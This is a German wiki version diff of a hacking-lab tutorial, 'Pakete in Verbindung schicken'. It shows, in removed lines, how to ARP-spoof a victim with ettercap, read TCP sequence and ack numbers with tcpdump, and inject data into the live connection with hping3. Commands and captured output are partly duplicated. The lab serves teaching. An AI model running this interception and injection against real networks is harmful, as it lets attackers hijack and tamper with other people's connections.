Pakete in Verbindung schicken: Unterschied zwischen den Versionen

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-=Vorraussetzung=
-*[[Arpspoofing mit Ettercap]]
-=Versuchsaufbau=
-*CLIENT=10.0.10.103
-*OPFER=10.0.10.104
-*ANGREIFER=10.0.10.101
-*DSTPORT=2020
-{{#drawio:hacking-1}}
-=Angreifer=
-;Auf Angreifer brauchen wir 2 Terminals
-==Terminal 1==
-;Variablen setzen
-*CLIENT=10.0.10.103
-*OPFER=10.0.10.104
-*ANGREIFER=10.0.10.101
-*DSTPORT=2020
-;Arp Spoofing
-*ettercap -Tq -i eth0 -M arp   /$CLIENT,$OPFER// /$OPFER,$CLIENT//
-==Terminal 2==
-*tcpdump -ni eth0 -S host 10.0.10.104 and tcp
-;Wir suchen SEQ, ACK und SRCPORT
-=OPFER=
-*nc -lp 2020
-=CLIENT=
-*nc 10.0.10.104 2020
-=ANGREIFER=
-==TERMINAL 2==
-*tcpdump -ni eth0 -S host 10.0.10.104 and tcp
-*tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
-listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
-:32:57.007020 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [S], seq 1196642424, win 64240, options [mss 1460,sackOK,TS val 783051844 ecr 0,nop,wscale 7], length 0
-:32:57.014293 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [S], seq 1196642424, win 64240, options [mss 1460,sackOK,TS val 783051844 ecr 0,nop,wscale 7], length 0
-:32:57.014686 IP 10.0.10.104.2020 > 10.0.10.103.53730: Flags [S.], seq 3707523260, ack <span style=color:red>1196642425</span>, win 28960, options [mss 1460,sackOK,TS val 1977650 ecr 783051844,nop,wscale 7], length 0
-:32:57.022274 IP 10.0.10.104.2020 > 10.0.10.103.53730: Flags [S.], seq 3707523260, ack 1196642425, win 28960, options [mss 1460,sackOK,TS val 1977650 ecr 783051844,nop,wscale 7], length 0
-:32:57.022652 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [.], ack <span style=color:green>3707523261</span>, win 502, options [nop,nop,TS val 783051859 ecr 1977650], length 0
-:32:57.030231 IP 10.0.10.103.<span style=color:green>53730</span> > 10.0.10.104.2020: Flags [.], ack 3707523261, win 502, options [nop,nop,TS val 783051859 ecr 1977650], length 0
-==fenster client zwei==
-;client
- thomas.will@cardassia ~ $ nc 192.168.244.52  2020
-==fenster client eins==
- cardassia ~ # tcpdump -ni lan  -S port 2020
- tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
- listening on lan, link-type EN10MB (Ethernet), capture size 65535 bytes
-:26:44.663526 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [S], seq 1758983238, win 29200, options [mss 1460,sackOK,TS val 2268763 ecr 0,nop,wscale 7], length 0
-:26:44.663980 IP 192.168.244.52.2020 > 192.168.244.1.58257: Flags [S.], seq 963043879, ack 1758983239, win 28960, options [mss 1460,sackOK,TS val 193210349 ecr 2268763,nop,wscale 7], length 0
-:26:44.664035 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [.], ack 963043880, win 229, options [nop,nop,TS val 2268763 ecr 193210349], length 0
-==fenster client drei==
-datei erstellen 10 bytes mit Umbruch
- cardassia ~ # echo "hallo tux" > data.dat
- cardassia ~ # hping3 -s 58257  -p 2020 -A -d 10 -E data.dat  -c 1 -M 1758983239 -L 963043880 192.168.244.52
-=Links=
-*https://www.rationallyparanoid.com/articles/hping.html
-*http://www.eggdrop.ch/texts/hping/#2_1
-*http://0daysecurity.com/articles/hping3_examples.html
-*http://maintain-under-the-radar.org/index.php/security/terminologie/scannen-von-netzwerken
-=Angreifer=
-==fenster client eins==
-;tcpdump
- cardassia ~ # tcpdump -ni lan  -S port 2020
- tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
- listening on lan, link-type EN10MB (Ethernet), capture size 65535 bytes
-==fenster client zwei==
-;client
- thomas.will@cardassia ~ $ nc 192.168.244.52  2020
-==fenster client eins==
- cardassia ~ # tcpdump -ni lan  -S port 2020
- tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
- listening on lan, link-type EN10MB (Ethernet), capture size 65535 bytes
-:26:44.663526 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [S], seq 1758983238, win 29200, options [mss 1460,sackOK,TS val 2268763 ecr 0,nop,wscale 7], length 0
-:26:44.663980 IP 192.168.244.52.2020 > 192.168.244.1.58257: Flags [S.], seq 963043879, ack 1758983239, win 28960, options [mss 1460,sackOK,TS val 193210349 ecr 2268763,nop,wscale 7], length 0
-:26:44.664035 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [.], ack 963043880, win 229, options [nop,nop,TS val 2268763 ecr 193210349], length 0
-==fenster client drei==
-datei erstellen 10 bytes mit Umbruch
- cardassia ~ # echo "hallo tux" > data.dat
- cardassia ~ # hping3 -s 58257  -p 2020 -A -d 10 -E data.dat  -c 1 -M 1758983239 -L 963043880 192.168.244.52
-=Links=
-*https://www.rationallyparanoid.com/articles/hping.html
-*http://www.eggdrop.ch/texts/hping/#2_1
-*http://0daysecurity.com/articles/hping3_examples.html
-*http://maintain-under-the-radar.org/index.php/security/terminologie/scannen-von-netzwerken

Pakete in Verbindung schicken: Unterschied zwischen den Versionen

Aktuelle Version vom 5. Juli 2021, 13:51 Uhr

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